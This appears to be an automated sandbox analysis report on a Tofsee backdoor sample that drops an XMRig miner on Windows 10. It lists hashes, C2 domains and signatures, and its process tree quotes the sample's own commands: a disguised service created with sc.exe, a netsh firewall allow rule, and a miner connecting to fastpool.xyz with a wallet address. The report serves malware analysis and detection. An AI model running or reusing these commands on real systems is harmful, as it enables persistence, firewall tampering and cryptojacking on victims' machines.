Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-04-2023 00:52

General

  • Target

    file.exe

  • Size

    236KB

  • MD5

    3a3fd09d4e781958df6e15153ec63bb9

  • SHA1

    18801d0dffac6e42c37615f77ef7df3bf195d707

  • SHA256

    97e993ff871f0d3c484ec6059bd63ec6273d82e420aa96bda85062413b7e0609

  • SHA512

    dbb63aa3f318616c1e5bb0510cc046885483e08492d74ec175cce0817aa19393ca7b9e6cc1c722199317a2f44de3e863b771effd3aa6deb36f52ed6b0371fe0c

  • SSDEEP

    3072:eDlY9dNSMxeDGJIBn9lX5WFN9MV2+TcqXt5T7CyNuF:3iMxeDGy9lXc9vbqD7YF

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kbreeiig\
      2⤵
        PID:648
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tadyxrrl.exe" C:\Windows\SysWOW64\kbreeiig\
        2⤵
          PID:1736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kbreeiig binPath= "C:\Windows\SysWOW64\kbreeiig\tadyxrrl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kbreeiig "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kbreeiig
          2⤵
          • Launches sc.exe
          PID:2884
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1440
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4400 -s 1184
          2⤵
          • Program crash
          PID:4172
      • C:\Windows\SysWOW64\kbreeiig\tadyxrrl.exe
        C:\Windows\SysWOW64\kbreeiig\tadyxrrl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4664
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1068
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5028
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4664 -s 548
          2⤵
          • Program crash
          PID:2112
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4400 -ip 4400
        1⤵
          PID:1724
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4664 -ip 4664
          1⤵
            PID:2436

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\tadyxrrl.exe
            Filesize

            10.9MB

            MD5

            fa1164d75115dee73842c847b8c00515

            SHA1

            87ede7b463673311ba14b7c1394ae393e5676ded

            SHA256

            0c313839809a3f51c1503d7dcd1a68e34a4394d5d29911cbcdbbe4dbccd4788e

            SHA512

            9ee9ce5f3c44256745066c487b20e6056e41018fee1e06cc32ea2125c1291ee5245a660436719a53352b891d28d7a4cd988104dfb5e61565e9788a7528114b48

          • C:\Windows\SysWOW64\kbreeiig\tadyxrrl.exe
            Filesize

            10.9MB

            MD5

            fa1164d75115dee73842c847b8c00515

            SHA1

            87ede7b463673311ba14b7c1394ae393e5676ded

            SHA256

            0c313839809a3f51c1503d7dcd1a68e34a4394d5d29911cbcdbbe4dbccd4788e

            SHA512

            9ee9ce5f3c44256745066c487b20e6056e41018fee1e06cc32ea2125c1291ee5245a660436719a53352b891d28d7a4cd988104dfb5e61565e9788a7528114b48

          • memory/1068-167-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-148-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
            Filesize

            84KB

          • memory/1068-169-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-143-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
            Filesize

            84KB

          • memory/1068-144-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
            Filesize

            84KB

          • memory/1068-184-0x0000000002BE0000-0x0000000002BE7000-memory.dmp
            Filesize

            28KB

          • memory/1068-146-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
            Filesize

            84KB

          • memory/1068-168-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-149-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/1068-152-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/1068-153-0x0000000001DE0000-0x0000000001DE6000-memory.dmp
            Filesize

            24KB

          • memory/1068-156-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-183-0x0000000007640000-0x0000000007A4B000-memory.dmp
            Filesize

            4.0MB

          • memory/1068-160-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-161-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-162-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-164-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-163-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-166-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-165-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-159-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-180-0x0000000007640000-0x0000000007A4B000-memory.dmp
            Filesize

            4.0MB

          • memory/1068-140-0x0000000000AB0000-0x0000000000AC5000-memory.dmp
            Filesize

            84KB

          • memory/1068-170-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-171-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-172-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-173-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-174-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-175-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/1068-176-0x0000000002BD0000-0x0000000002BD5000-memory.dmp
            Filesize

            20KB

          • memory/1068-179-0x0000000002BD0000-0x0000000002BD5000-memory.dmp
            Filesize

            20KB

          • memory/4400-139-0x0000000000400000-0x0000000002B94000-memory.dmp
            Filesize

            39.6MB

          • memory/4400-135-0x0000000004790000-0x00000000047A3000-memory.dmp
            Filesize

            76KB

          • memory/4664-145-0x0000000000400000-0x0000000002B94000-memory.dmp
            Filesize

            39.6MB

          • memory/5028-188-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB

          • memory/5028-193-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB

          • memory/5028-194-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB

          • memory/5028-195-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB

          • memory/5028-196-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB

          • memory/5028-197-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB

          • memory/5028-199-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB

          • memory/5028-198-0x00000000006B0000-0x00000000007A1000-memory.dmp
            Filesize

            964KB